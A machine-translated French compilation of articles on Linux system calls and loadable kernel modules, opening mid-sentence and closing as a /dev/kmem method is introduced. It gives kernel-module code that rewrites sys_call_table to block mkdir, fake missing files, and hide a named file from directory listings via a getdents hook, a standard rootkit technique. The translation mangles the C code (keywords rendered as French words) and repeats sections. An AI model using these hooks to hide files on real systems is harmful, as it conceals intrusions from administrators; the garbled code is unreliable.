de la fonction __kernel_vsyscall est constante, on pense que ce n'est pas le cas. En règle générale, la position du point d'entrée de __kernel_vsyscall () peut être trouvée à partir du vecteur ELF-auxv à l'aide du paramètre AT_SYSINFO. Le vecteur ELF-auxv contient des informations transmises au processus via la pile au démarrage et contient diverses informations nécessaires pendant l'exécution du programme. Ce vecteur contient notamment les variables d'environnement du processus, des arguments, etc.

Voici un petit exemple en C de la façon dont vous pouvez accéder directement à la fonction __kernel_vsyscall : #comprendre int pid; int main () (__asm ​​​​("movl $ 20,% eax \ n" "call *% gs: 0x10 \ n" "movl% eax, pid \ n"); printf (" pid:% d \ n" , pid) ; renvoie 0 ;) Cet exemple est tiré de la page Manu Garg, http://www.manugarg.com. Ainsi, dans l'exemple ci-dessus, nous effectuons l'appel système getpid() (numéro 20 ou sinon __NR_getpid). Afin de ne pas grimper dans la pile des processus à la recherche de la variable AT_SYSINFO, nous profiterons du fait que la bibliothèque système libc.so au démarrage copie la valeur de la variable AT_SYSINFO dans le bloc de contrôle de thread (TCB - Thread Control Block) . Ce bloc d'informations est généralement référencé par un sélecteur dans gs. Nous supposons que le paramètre souhaité est situé à l'offset 0x10 et faisons un appel à l'adresse stockée en % gs : $ 0x10.

Résultats.

En effet, en pratique, il n'est pas toujours possible d'obtenir un gain de performances particulier même avec le support du FSCF (Fast System Call Facility) sur cette plate-forme. Le problème est que d'une manière ou d'une autre, un processus parle rarement directement au noyau. Et il y a de bonnes raisons à cela. L'utilisation de la bibliothèque libc permet de garantir la portabilité du programme, quelle que soit la version du noyau. Et c'est à travers la bibliothèque système standard que passent la plupart des appels système. Même si vous construisez et installez le dernier noyau conçu pour une plate-forme prenant en charge FSCF, cela ne garantit pas un gain de performances. Le fait est que votre bibliothèque système libc.so utilisera toujours l'int 0x80 et ne peut être traitée qu'en reconstruisant la glibc. La glibc prend-elle en charge l'interface VDSO et __kernel_vsyscall, je l'admets honnêtement ce moment J'ai du mal à répondre.

Liens.

Page de Manu Garg, http://www.manugarg.com
Scatter / Rassembler des pensées par Johan Petersson, http://www.trilithium.com/johan/2005/08/linux-gate/
Bon vieux Comprendre le noyau Linux Où peut-on s'en passer :)
Et bien sûr, le code source Linux (2.6.22)

VLADIMIR MESHKOV

Interception des appels système sous Linux

Ces dernières années, le système d'exploitation Linux s'est fermement établi comme la plate-forme serveur leader, en avance sur de nombreux développements commerciaux. Toujours des problèmes de protection systèmes d'information, construit sur la base de cet OS, ne cessent d'être d'actualité. Il existe un grand nombre de moyens techniques, tant logiciels que matériels, qui permettent d'assurer la sécurité du système. Ce sont des moyens de chiffrer les données et le trafic réseau, de différencier les droits d'accès aux ressources d'information, de protéger E-mail, serveurs Web, protection antivirus, etc. La liste, comme vous le comprenez, est assez longue. Dans cet article, nous vous suggérons d'envisager un mécanisme de protection basé sur l'interception des appels système du système d'exploitation Linux. Ce mécanisme vous permet de prendre le contrôle du travail de n'importe quelle application et d'éviter ainsi d'éventuelles actions destructrices qu'elle peut effectuer.

Appels système

Commençons par une définition. Les appels système sont un ensemble de fonctions implémentées dans le noyau du système d'exploitation. Toute demande de l'application de l'utilisateur est finalement transformée en un appel système qui exécute l'action demandée. Une liste complète des appels système Linux se trouve dans le fichier /usr/include/asm/unistd.h. Jetons un coup d'œil au mécanisme général pour faire des appels système avec un exemple. Laissez la fonction creat() être appelée dans le code source de l'application pour créer un nouveau fichier. Lorsque le compilateur rencontre un appel à cette fonction, il le convertit en code assembleur, en s'assurant que le numéro d'appel système correspondant à cette fonction et ses paramètres sont chargés dans les registres du processeur et l'appel suivant pour interrompre 0x80. Les valeurs suivantes sont chargées dans les registres du processeur :

  • pour enregistrer EAX- numéro d'appel système. Ainsi, pour notre cas, le numéro d'appel système sera le 8 (voir __NR_creat);
  • au registre EBX- le premier paramètre de la fonction (pour creat, il s'agit d'un pointeur vers une chaîne contenant le nom du fichier à créer) ;
  • au registre ECX- le deuxième paramètre (droits d'accès aux fichiers).

Le troisième paramètre est chargé dans le registre EDX, dans ce cas nous ne l'avons pas. Pour exécuter un appel système sous Linux, la fonction system_call est utilisée, qui est définie dans le fichier /usr/src/liux/arch/i386/kernel/entry.S. Cette fonction est le point d'entrée pour tous les appels système. Le noyau répond à l'interruption 0x80 en appelant la fonction system_call, qui est en fait un gestionnaire pour l'interruption 0x80.

Pour nous assurer que nous sommes sur la bonne voie, écrivons un petit extrait de test en assembleur. Nous allons voir ici ce que devient la fonction creat() après compilation. Nommons le fichier test.S. Voici son contenu :

Global_start

Texte

Début:

Chargez le numéro d'appel système dans le registre EAX :

movl $ 8,% eax

Le registre EBX est le premier paramètre, un pointeur vers une chaîne avec le nom de fichier :

movl $ nom de fichier,% ebx

Dans le registre ECX - le deuxième paramètre, les droits d'accès :

movl $ 0,% ecx

Appel de l'interruption :

int $ 0x80

Nous sortons du programme. Pour ce faire, appelez la fonction exit (0) :

movl $ 1,% eax movl $ 0,% ebx int $ 0x80

Dans le segment de données, indiquez le nom du fichier à créer :

Données

nom de fichier : .string "fichier.txt"

Compiler:

gcc -c test.S

ld -s -o test test.o

Le répertoire actuel affichera fichier exécutable test. En l'exécutant, nous allons créer un nouveau fichier appelé file.txt.

Revenons maintenant au mécanisme des appels système. Ainsi, le noyau appelle le gestionnaire d'interruption 0x80 - la fonction system_call. System_call pousse des copies des registres contenant les paramètres d'appel sur la pile à l'aide de la macro SAVE_ALL et appelle la fonction système requise avec la commande call. La table des pointeurs vers les fonctions du noyau qui implémentent les appels système se trouve dans le tableau sys_call_table (voir fichier arch/i386/noyau/entry.S). Le numéro d'appel système, qui se trouve dans le registre EAX, est un index dans ce tableau. Ainsi, si EAX contient une valeur de 8, la fonction du noyau sys_creat() sera appelée. Pourquoi la macro SAVE_ALL est-elle nécessaire ? L'explication est très simple. Comme presque toutes les fonctions système du noyau sont écrites en C, elles recherchent leurs paramètres dans la pile. Et les paramètres sont poussés sur la pile à l'aide de la macro SAVE_ALL ! La valeur renvoyée par l'appel système est stockée dans le registre EAX.

Voyons maintenant comment intercepter l'appel système. Le mécanisme des modules de noyau chargeables nous y aidera. Bien que nous ayons déjà discuté du développement et de l'utilisation des modules du noyau, dans un souci de cohérence, nous discuterons brièvement de ce qu'est un module du noyau, en quoi il consiste et comment il interagit avec le système.

Module noyau chargeable

Un module de noyau chargeable (appelons-le LKM - Module de noyau chargeable) est un code de programme qui s'exécute dans l'espace du noyau. La principale caractéristique de LKM est la possibilité de charger et de décharger dynamiquement sans avoir à redémarrer l'ensemble du système ou à recompiler le noyau.

Chaque LKM se compose de deux fonctions principales (au minimum) :

  • fonction d'initialisation du module. Appelé lorsque LKM est chargé en mémoire :

int init_module (void) (...)

  • fonction de déchargement du module :

void cleanup_module (void) (...)

Donnons un exemple du module le plus simple :

#définir le MODULE

#comprendre

int init_module (void)

printk ("Bonjour le monde");

renvoie 0 ;

void cleanup_module (void)

printk ("Au revoir");

Compilez et chargez le module. Le module est chargé en mémoire par la commande insmod :

gcc -c -O3 helloworld.c

insmod helloworld.o

Les informations sur tous les modules actuellement chargés dans le système se trouvent dans le fichier / proc / modules. Pour vous assurer que le module est chargé, entrez cat / proc / modules ou lsmod. La commande rmmod décharge le module :

rmmod helloworld

Algorithme d'interception d'appels système

Pour implémenter un module qui intercepte un appel système, il est nécessaire de définir un algorithme d'interception. L'algorithme est le suivant :

  • enregistrer un pointeur sur l'appel d'origine (original) pour pouvoir le restaurer ;
  • créer une fonction qui implémente un nouvel appel système ;
  • remplacer les appels dans la table des appels système sys_call_table, c'est-à-dire configurer un pointeur approprié vers un nouvel appel système ;
  • à la fin du travail (lors du déchargement du module), restaurez l'appel système d'origine à l'aide du pointeur précédemment enregistré.

Vous pouvez utiliser le traçage pour déterminer quels appels système sont impliqués dans l'application de l'utilisateur. En traçant, vous pouvez déterminer quel appel système doit être intercepté pour prendre le contrôle de l'application. Un exemple d'utilisation du programme de traçage sera présenté ci-dessous.

Nous avons maintenant suffisamment d'informations pour commencer à examiner des exemples d'implémentation de modules qui interceptent les appels système.

Exemples d'interception d'appels système

Empêcher la création de répertoires

Lors de la création d'un répertoire, la fonction noyau sys_mkdir est appelée. Le paramètre est une chaîne qui contient le nom du répertoire à créer. Considérez le code qui intercepte l'appel système correspondant.

#comprendre

#comprendre

#comprendre

Nous exportons la table d'appel système :

void externe * sys_call_table;

Définissons un pointeur pour stocker l'appel système d'origine :

int (* orig_mkdir) (const char * chemin);

Créons notre propre appel système. Notre appel ne fait rien, il renvoie juste une valeur nulle :

int own_mkdir (const char * chemin)

renvoie 0 ;

Lors de l'initialisation du module, nous enregistrons le pointeur sur l'appel d'origine et remplaçons l'appel système :

int module_init ()

orig_mkdir = sys_call_table;

sys_call_table = own_mkdir; renvoie 0 ;

Lors du déchargement, nous restaurons l'appel d'origine :

void cleanup_module ()

Sys_call_table = orig_mkdir;

Enregistrez le code dans le fichier sys_mkdir_call.c. Pour obtenir le module objet, créons un Makefile avec le contenu suivant :

CC = gcc

CFLAGS = -O3 -Wall -fomit-frame-pointer

sys_mkdir_call.o : sys_mkdir_call.c

$ (CC) -c $ (CFLAGS) $ (MODFLAGS) sys_mkdir_call.c

Utilisez la commande make pour créer un module de noyau. Après l'avoir téléchargé, essayons de créer un répertoire avec la commande mkdir. Comme vous pouvez le voir, rien ne se passe. La commande ne fonctionne pas. Pour restaurer son opérabilité, il suffit de décharger le module.

Empêcher la lecture du fichier

Pour lire un fichier, vous devez d'abord l'ouvrir à l'aide de la fonction open. Il est facile de deviner que cette fonction correspond à l'appel système sys_open. En l'interceptant, nous pouvons protéger le fichier de la lecture. Considérons l'implémentation du module intercepteur.

#comprendre

#comprendre

#comprendre

#comprendre

#comprendre

#comprendre

#comprendre

void externe * sys_call_table;

Pointeur pour conserver l'appel système d'origine :

int (* orig_open) (const char * chemin d'accès, indicateur int, mode int);

Le premier paramètre de la fonction open est le nom du fichier à ouvrir. Un nouvel appel système doit comparer ce paramètre avec le nom du fichier que nous voulons protéger. Si les noms correspondent, une erreur d'ouverture de fichier sera simulée. Notre nouvel appel système ressemble à ceci :

int own_open (const char * chemin d'accès, indicateur int, mode int)

Mettez le nom du fichier à ouvrir ici :

char * chemin_noyau;

Le nom du fichier que nous voulons protéger :

masquer char = "test.txt"

Allouez de la mémoire et copiez le nom du fichier à ouvrir :

kernel_path = (char *) kmalloc (255, GFP_KERNEL);

copy_from_user (kernel_path, chemin d'accès, 255);

Comparer:

if (strstr (kernel_path, (char *) & hide)! = NULL) (

Libérez de la mémoire et renvoyez un code d'erreur si les noms correspondent :

kfree (chemin_noyau);

retour -ENOENT;

autre (

Si les noms ne correspondent pas, nous appelons l'appel système d'origine pour exécuter la procédure d'ouverture de fichier standard :

kfree (chemin_noyau);

return orig_open (chemin, indicateur, mode);

int module_init ()

orig_open = sys_call_table;

sys_call_table = own_open;

renvoie 0 ;

void cleanup_module ()

sys_call_table = orig_open;

Enregistrons le code dans le fichier sys_open_call.c et créons un Makefile pour obtenir le module objet :

CC = gcc

CFLAGS = -O2 -Mur -fomit-frame-pointer

MODFLAGS = -D__KERNEL__ -DMODULE -I / usr / src / linux / include

sys_open_call.o : sys_open_call.c

$ (CC) -c $ (CFLAGS) $ (MODFLAGS) sys_open_call.c

Dans le répertoire courant, créez un fichier nommé test.txt, chargez le module et entrez la commande cat test.txt. Le système informera de l'absence d'un fichier portant ce nom.

Honnêtement, ce type de protection est facile à contourner. Il suffit de renommer le fichier avec la commande mv puis de lire son contenu.

Cacher une entrée de fichier dans un répertoire

Déterminez quel appel système est responsable de la lecture du contenu du répertoire. Pour ce faire, écrivons un autre fragment de test qui lit le répertoire courant :

/ * Fichier Dir.c * /

#comprendre

#comprendre

int main ()

DIR * d;

struct dirent * dp;

d = opendir (".");

dp = readdir (d);

Renvoie 0 ;

Récupérons le module exécutable :

gcc -o dir dir.c

et tracez-le :

strace ./dir

Faisons attention à l'avant-dernière ligne :

getdents (6, / * 4 entrées * /, 3933) = 72 ;

Le contenu du répertoire est lu par la fonction getdents. Le résultat est stocké sous forme de liste de structures de type struct dirent. Le deuxième paramètre de cette fonction est un pointeur vers cette liste. La fonction renvoie la longueur de toutes les entrées du répertoire. Dans notre exemple, la fonction getdents a déterminé la présence de quatre entrées dans le répertoire courant - ".", ".." et nos deux fichiers, le module exécutable et le code source. Toutes les entrées du répertoire font 72 octets. Les informations sur chaque enregistrement sont stockées, comme nous l'avons dit, dans la structure struct dirent. Nous nous intéressons à deux domaines de cette structure :

  • d_reclen- la taille du dossier ;
  • d_name- Nom de fichier.

Afin de masquer une entrée de fichier (c'est-à-dire de la rendre invisible), vous devez intercepter l'appel système sys_getdents, rechercher l'entrée correspondante dans la liste des structures reçues et la supprimer. Considérez le code qui effectue cette opération (l'auteur du code original est Michal Zalewski) :

void externe * sys_call_table;

int (* orig_getdents) (u_int, struct dirent *, u_int);

Définissons notre appel système.

int own_getdents (u_int fd, struct dirent * dirp, u_int count)

tmp int non signé, n;

entier t;

L'affectation des variables sera montrée ci-dessous. De plus, nous avons besoin de structures :

struct dirent * dirp2, * dirp3;

Le nom du fichier que nous voulons masquer :

char hide = "notre.fichier";

Déterminons la longueur des entrées dans le répertoire :

tmp = (* orig_getdents) (fd, dirp, count);

si (tmp> 0) (

Allouez de la mémoire pour la structure dans l'espace noyau et copiez-y le contenu du répertoire :

dirp2 = (struct dirent *) kmalloc (tmp, GFP_KERNEL);

copy_from_user (dirp2, dirp, tmp);

Utilisons la deuxième structure et stockons la longueur des entrées dans le répertoire :

dirp3 = dirp2;

t = tmp;

Commençons à chercher notre fichier :

tandis que (t> 0) (

Nous lisons la longueur du premier enregistrement et déterminons la longueur restante des enregistrements dans le répertoire :

n = dirp3-> d_reclen;

t- = n;

Nous vérifions si le nom de fichier de l'enregistrement actuel ne correspond pas à celui recherché :

if (strstr ((char *) & (dirp3-> d_name), (char *) & hide)! = NULL) (

Si c'est le cas, écrasez l'entrée et calculez une nouvelle valeur pour la longueur des entrées dans le répertoire :

memcpy (dirp3, (car *) dirp3 + dirp3-> d_reclen, t);

tmp- = n;

Nous positionnons le pointeur sur l'enregistrement suivant et continuons la recherche :

dirp3 = (struct dirent *) ((char *) dirp3 + dirp3-> d_reclen);

On retourne le résultat et on libère la mémoire :

copy_to_user (dirp, dirp2, tmp);

kfree (dirp2) ;

Renvoi de la longueur des entrées dans le répertoire :

retour tmp;

Les fonctions d'initialisation et de déchargement du module ont une forme standard :

int init_module (void)

orig_getdents = sys_call_table;

sys_call_table = own_getdents;

renvoie 0 ;

void cleanup_module ()

sys_call_table = orig_getdents;

Enregistrons la source dans le fichier sys_call_getd.c et créons un Makefile avec le contenu suivant :

CC = gcc

module = sys_call_getd.o

CLAGS = -O3 -Mur

LINUX = / usr / src / linux

MODFLAGS = -D__KERNEL__ -DMODULE -I $ (LINUX) / inclure

sys_call_getd.o : sys_call_getd.c $ (CC) -c

$ (CFLAGS) $ (MODFLAGS) sys_call_getd.c

Créez notre fichier.file dans le répertoire courant et chargez le module. Le fichier disparaît, si nécessaire.

Comme vous le comprenez, il n'est pas possible de considérer un exemple d'interception de chaque appel système dans le cadre d'un article. Par conséquent, pour ceux qui sont intéressés par cette question, je recommande de visiter les sites :

Vous y trouverez des exemples plus complexes et intéressants d'interception d'appels système. Écrivez tous vos commentaires et suggestions sur le forum du magazine.

Lors de la préparation de l'article, les matériaux du site ont été utilisés

Ce matériel est une modification de l'article du même nom de Vladimir Meshkov, publié dans la revue "System Administrator"

Ce document est une copie des articles de Vladimir Meshkov du magazine "System Administrator". Ces articles sont disponibles sur les liens ci-dessous. En outre, certains exemples du code source des programmes ont été modifiés - améliorés, affinés. (L'exemple 4.2 a été fortement modifié, car j'ai dû intercepter un appel système légèrement différent) URL : http://www.samag.ru/img/uploaded/p.pdf http://www.samag.ru/img/uploaded /a3.pdf

Avoir des questions? Alors vous êtes ici : [email protégé]

  • 2. Module noyau chargeable
  • 4. Exemples d'interception d'appels système basés sur LKM
    • 4.1 Empêcher la création de répertoires

1. Vue générale de l'architecture Linux

L'aspect le plus courant vous permet de voir un modèle à deux niveaux du système. noyau<=>progs Au centre (à gauche) se trouve le noyau du système. Le noyau interagit directement avec le matériel de l'ordinateur, isolant les programmes d'application des fonctionnalités architecturales. Le noyau dispose d'un ensemble de services fournis aux programmes d'application. Les services du noyau incluent les opérations d'entrée/sortie (ouverture, lecture, écriture et gestion des fichiers), la création et la gestion des processus, leur synchronisation et la communication interprocessus. Toutes les applications demandent des services de noyau via des appels système.

Le deuxième niveau est composé d'applications ou de tâches, à la fois celles du système, qui déterminent la fonctionnalité du système, et les applications, qui fournissent l'interface utilisateur Linux. Cependant, malgré l'hétérogénéité externe des applications, les schémas d'interaction avec le noyau sont les mêmes.

L'interaction avec le noyau s'effectue via l'interface d'appel système standard. L'interface d'appel système est un ensemble de services du noyau et définit le format des demandes de service. Un processus demande un service via un appel système à une procédure de noyau spécifique, similaire en apparence à un appel de fonction de bibliothèque normal. Le noyau, au nom du processus, exécute la requête et renvoie les données nécessaires au processus.

Dans cet exemple, le programme ouvre un fichier, en lit les données et ferme le fichier. Dans ce cas, l'opération d'ouverture (open), de lecture (read) et de fermeture (close) du fichier est effectuée par le noyau à la demande de la tâche, et la fonction open (2), read (2) et close (2) sont des appels système.

/ * Source 1.0 * / #include main () (int fd; char buf; / * Ouvrir le fichier - obtenir le lien (descripteur de fichier) fd * / fd = open ("file1", O_RDONLY); / * Lire 80 caractères dans le tampon buf * / read ( fd, buf , sizeof (buf)); / * Fermez le fichier * / close (fd);) / * EOF * / La liste complète des appels système du système d'exploitation Linux se trouve dans /usr/include/asm/unistd. h fichier. Regardons maintenant le mécanisme pour faire des appels système sur cet exemple... Le compilateur, ayant rencontré la fonction open() pour ouvrir le fichier, le convertit en code assembleur, en s'assurant que le numéro d'appel système correspondant à cette fonction et ses paramètres sont chargés dans les registres du processeur et l'appel suivant pour interrompre 0x80. Les valeurs suivantes sont chargées dans les registres du processeur :

  • dans le registre EAX - le numéro d'appel système. Ainsi, pour notre cas, le numéro d'appel système est le 5 (voir __NR_open).
  • dans le registre EBX - le premier paramètre de la fonction (pour open () c'est un pointeur vers une chaîne contenant le nom du fichier en cours d'ouverture.
  • au registre ECX - deuxième paramètre (autorisations de fichier)
Le troisième paramètre est chargé dans le registre EDX, dans ce cas nous ne l'avons pas. Pour exécuter un appel système sous OS Linux, la fonction system_call est utilisée, qui est définie (selon l'architecture, dans ce cas i386) dans le fichier /usr/src/linux/arch/i386/kernel/entry.S. Cette fonction est le point d'entrée pour tous les appels système. Le noyau répond à l'interruption 0x80 en appelant la fonction system_call, qui est en fait un gestionnaire pour l'interruption 0x80.

Pour nous assurer que nous sommes sur la bonne voie, regardons le code de la fonction open() dans la libc système :

# gdb -q /lib/libc.so.6 (gdb) disas open Dump du code assembleur pour la fonction open : 0x000c8080 : appelez le 0x1082be< __i686.get_pc_thunk.cx >0x000c8085 : ajouter $ 0x6423b,% ecx 0x000c808b : cmpl $ 0x0,0x1a84 (% ecx) 0x000c8092 : jne 0xc80b1 0x000c8094 : push% ebx 0x000c8095 : mov 0x10 (% esp, 1),% edx 0x000c8099 : mov 0xc (% esp, 1),% ecx 0x000c809d : mov 0x8 (% esp, 1),% ebx 0x000c80a1 : mov $ 0x5,% eax 0x000c80a6 : int $ 0x80 ... Comme il n'est pas difficile de le voir dans les dernières lignes, les paramètres sont transférés dans les registres EDX, ECX, EBX, et le dernier registre EAX contient le numéro d'appel système égal à, comme nous le savons déjà, 5 .

Revenons maintenant au mécanisme des appels système. Ainsi, le noyau appelle le gestionnaire d'interruption 0x80 - la fonction system_call. System_call place des copies des registres contenant les paramètres d'appel sur la pile à l'aide de la macro SAVE_ALL et appelle la fonction système requise avec la commande call. La table des pointeurs vers les fonctions du noyau qui implémentent les appels système se trouve dans le tableau sys_call_table (voir fichier arch/i386/noyau/entry.S). Le numéro d'appel système, qui se trouve dans le registre EAX, est un index dans ce tableau. Ainsi, si EAX vaut 5, la fonction noyau sys_open() sera appelée. Pourquoi la macro SAVE_ALL est-elle nécessaire ? L'explication est très simple. Comme presque toutes les fonctions du noyau du système sont écrites en C, elles recherchent leurs paramètres dans la pile. Et les paramètres sont poussés sur la pile en utilisant SAVE_ALL ! La valeur renvoyée par l'appel système est stockée dans le registre EAX.

Voyons maintenant comment intercepter l'appel système. Le mécanisme des modules de noyau chargeables nous y aidera.

2. Module noyau chargeable

Le module de noyau chargeable (généralement abrégé en LKM - Module de noyau chargeable) est un code de programme qui s'exécute dans l'espace du noyau. La principale caractéristique de LKM est la possibilité de charger et de décharger dynamiquement sans avoir à redémarrer l'ensemble du système ou à recompiler le noyau.

Chaque LKM se compose de deux fonctions principales (au minimum) :

  • fonction d'initialisation du module. Appelé lorsque le LKM est chargé en mémoire : int init_module (void) (...)
  • fonction de déchargement du module : void cleanup_module (void) (...)
Voici un exemple du module le plus simple : / * Source 2.0 * / #include int init_module (void) (printk ("Hello World \ n"); return 0;) void cleanup_module (void) (printk ("Bye \ n");) / * EOF * / Compilez et chargez le module. Le module est chargé en mémoire avec la commande insmod, et les modules chargés sont visualisés avec la commande lsmod : # gcc -c -DMODULE -I / usr / src / linux / include / src-2.0.c # insmod src-2.0. o Attention : le chargement de src-2.0 .o va altérer le noyau : pas de licence Module src-2.0 chargé, avec des avertissements # dmesg | tail -n 1 Bonjour tout le monde # lsmod | grep src src-2.0 336 0 (inutilisé) # rmmod src-2.0 # dmesg | queue -n 1 Au revoir

3. Algorithme d'interception d'un appel système basé sur LKM

Pour implémenter un module qui intercepte un appel système, il est nécessaire de définir un algorithme d'interception. L'algorithme est le suivant :
  • garder un pointeur sur l'appel d'origine (original) pour pouvoir le restaurer
  • créer une fonction qui implémente le nouvel appel système
  • remplacer les appels dans la table des appels système sys_call_table, c'est-à-dire définir le pointeur correspondant sur un nouvel appel système
  • en fin de travail (lors du déchargement du module) restaurer l'appel système d'origine à l'aide du pointeur précédemment enregistré
Le traçage permet de savoir quels appels système sont impliqués dans le fonctionnement de l'application de l'utilisateur. En traçant, vous pouvez déterminer quel appel système doit être intercepté pour prendre le contrôle de l'application. # ltrace -S ./src-1.0 ... open ("fichier1", 0, 01 SYS_open ("fichier1", 0, 01) = 3<... open resumed>) = 3 lecture (3, SYS_read (3, "123 \ n", 80) = 4<... read resumed>"123 \ n", 80) = 4 fermer (3 SYS_fermé (3) = 0<... close resumed>) = 0 ... Maintenant, nous avons suffisamment d'informations pour commencer à étudier des exemples d'implémentation de modules qui interceptent les appels système.

4. Exemples d'interception d'appels système basés sur LKM

4.1 Empêcher la création de répertoires

Lorsque le répertoire est créé, la fonction du noyau sys_mkdir est appelée. Une chaîne contenant le nom du répertoire créé est spécifiée en paramètre. Considérez le code qui intercepte l'appel système correspondant. / * Source 4.1 * / #include #comprendre #comprendre / * Exporter la table des appels système * / extern void * sys_call_table; / * Définir un pointeur pour enregistrer l'appel d'origine * / int (* orig_mkdir) (const char * path); / * Créons notre propre appel système. Notre appel ne fait rien, renvoie juste une valeur nulle * / int own_mkdir (const char * path) (return 0;) / * Lors de l'initialisation du module, nous sauvegardons le pointeur sur l'appel d'origine et remplaçons l'appel système * / int init_module (void ) (orig_mkdir = sys_call_table; sys_call_table = own_mkdir; printk ("sys_mkdir remplacé \ n"); return (0);) / * Lors du déchargement, restaurez l'appel d'origine * / void cleanup_module (void) (sys_call_table = orig_mkdir; printk (" sys_mkdir move_nmkdir ");) / * EOF * / Pour obtenir le module objet, exécutez la commande suivante et effectuez quelques expériences sur le système : # gcc -c -DMODULE -I / usr / src / linux / include / src-3.1. c # dmesg | tail -n 1 sys_mkdir remplacé # mkdir test # ls -ald test ls: test : aucun fichier ou répertoire de ce type # rmmod src-3.1 # dmesg | tail -n 1 sys_mkdir reculé # mkdir test # ls -ald test drwxr-xr-x 2 root root 4096 23-12-2003 03:46 test Comme vous pouvez le voir, la commande "mkdir" ne fonctionne pas, ou plutôt Rien ne se passe. Pour restaurer la fonctionnalité du système, il suffit de décharger le module. C'est ce qui a été fait plus haut.

4.2 Cacher une entrée de fichier dans un répertoire

Déterminez quel appel système est responsable de la lecture du contenu du répertoire. Pour ce faire, nous allons écrire un autre fragment de test qui lit le répertoire courant : / * Source 4.2.1 * / #include #comprendre int main () (DIR * d; struct dirent * dp; d = opendir ("."); dp = readdir (d); return 0;) / * EOF * / Récupère l'exécutable et trace le : # gcc -o src-3.2.1 src-3.2.1.c # ltrace -S ./src-3.2.1 ... opendir ("." SYS_open (".", 100352, 010005141300) = 3 SYS_fstat64 (3, 0xbffff79c, 0x4014c2c0, 3, 0xbffff874) = 0 SYS_fcntl64 (3, 2, 1, 1, 0x4014c2c0) = 0 SYS6a5_brk (SYS_fcntl64 (3, 2 1, 0x4014c2c0) = 0 SYS6a5_brk (NS8014c2c0) = 0 SYS6a_brk (NULL = 0x0806a5f4 SYS_brk (NULL) = 0x0806a5f4 SYS_brk (0x0806b000) = 0x0806b000<... opendir resumed>) = 0x08049648 readdir (0x08049648 SYS_getdents64 (3.0x08049678, 4096, 0x40014400, 0x4014c2c0) = 528<... readdir resumed>) = 0x08049678 ... Faites attention à la dernière ligne. Le contenu du répertoire est lu par la fonction getdents64 (getdents est possible dans d'autres noyaux). Le résultat est stocké sous la forme d'une liste de structures de type struct dirent, et la fonction elle-même renvoie la longueur de toutes les entrées du répertoire. Nous nous intéressons à deux domaines de cette structure :
  • d_reclen - taille d'enregistrement
  • d_name - nom de fichier
Afin de masquer l'enregistrement du fichier concernant le fichier (c'est-à-dire le rendre invisible), il est nécessaire d'intercepter l'appel système sys_getdents64, de rechercher l'enregistrement correspondant dans la liste des structures reçues et de le supprimer. Considérez le code qui effectue cette opération (l'auteur du code original est Michal Zalewski) : / * Source 4.2.2 * / #include #comprendre #comprendre #comprendre #comprendre #comprendre #comprendre #comprendre void externe * sys_call_table; int (* orig_getdents) (u_int fd, struct dirent * dirp, u_int count); / * Définir notre propre appel système * / int own_getdents (u_int fd, struct dirent * dirp, u_int count) (unsigned int tmp, n; int t; struct dirent64 (int d_ino1, d_ino2; int d_off1, d_off2; unsigned short d_reclen; unsigned char d_type; char d_name;) * dirp2, * dirp3; / * Le nom du fichier que nous voulons cacher * / char hide = "file1"; / * Déterminer la longueur des entrées dans le répertoire * / tmp = ( * orig_getdents) (fd, dirp , count); if (tmp> 0) (/ * Allouer de la mémoire pour la structure dans l'espace noyau et y copier le contenu du répertoire * / dirp2 = (struct dirent64 *) kmalloc (tmp, GFP_KERNEL); copy_from_user (dirp2, dirp, tmp) ; / * Utilisons la deuxième structure et sauvegardons la longueur des enregistrements dans le répertoire * / dirp3 = dirp2; t = tmp; / * Commençons à chercher notre fichier * / while (t> 0) (/ * Lire la longueur du premier enregistrement et déterminer la longueur restante des enregistrements dans le répertoire * / n = dirp3-> d_reclen; t - = n; / * Vérifier si le nom de fichier de l'enregistrement actuel correspond à celui recherché * / if (strstr ((char *) & (dirp3-> d_name), (char *) & hide)! = NULL) (/ * Si c'est le cas, écrasez l'entrée et calculez la nouvelle longueur des entrées dans le répertoire * / memcpy (dirp3, (char *) dirp3 + dirp3-> d_reclen, t); tmp - = n; ) / * Positionnez le pointeur sur l'enregistrement suivant et continuez la recherche * / dirp3 = (struct dirent64 *) ((char *) dirp3 + dirp3-> d_reclen); ) / * Renvoie le résultat et libère la mémoire * / copy_to_user (dirp, dirp2, tmp); kfree (dirp2) ; ) / * Renvoie la longueur des entrées dans le répertoire * / return tmp; ) / * Les fonctions d'initialisation et de déchargement du module ont une forme standard * / int init_module (void) (orig_getdents = sys_call_table; sys_call_table = own_getdents; return 0;) void cleanup_module () (sys_call_table = orig_getdents;) / * EOF * / En compilant ce code, notez comment "file1" disparaît, comme requis.

5. Méthode d'accès direct à l'espace d'adressage du noyau / dev / kmem

Considérons d'abord théoriquement comment l'interception est réalisée par la méthode d'accès direct à l'espace d'adressage du noyau, puis nous passons à la mise en œuvre pratique.

L'accès direct à l'espace d'adressage du noyau est fourni par le fichier de périphérique /dev/kmem. Ce fichier affiche tout l'espace d'adressage virtuel disponible, y compris la partition d'échange (zone d'échange). Pour travailler avec le fichier kmem, les fonctions système standard sont utilisées - ouvrir (), lire (), écrire (). Après avoir ouvert / dev / kmem de manière standard, nous pouvons nous référer à n'importe quelle adresse du système, en la spécifiant comme un décalage dans ce fichier. Cette méthode a été développé par Silvio Cesare.

Les fonctions système sont accessibles en chargeant les paramètres de fonction dans les registres du processeur, puis en appelant l'interruption logicielle 0x80. Le gestionnaire d'interruption, la fonction system_call, pousse les paramètres d'appel sur la pile, récupère l'adresse de la fonction système appelée à partir de la sys_call_table et transfère le contrôle à cette adresse.

Avec un accès complet à l'espace d'adressage du noyau, nous pouvons obtenir l'intégralité du contenu de la table d'appels système, c'est-à-dire adresses de toutes les fonctions du système. En changeant l'adresse de tout appel système, nous l'interceptons ainsi. Mais pour cela il faut connaître l'adresse de la table, ou, en d'autres termes, l'offset dans le fichier/dev/kmem où se trouve cette table.

Pour déterminer l'adresse de la sys_call_table, vous devez d'abord calculer l'adresse de la fonction system_call. Puisque cette fonction est un gestionnaire d'interruptions, regardons comment les interruptions sont gérées en mode protégé.

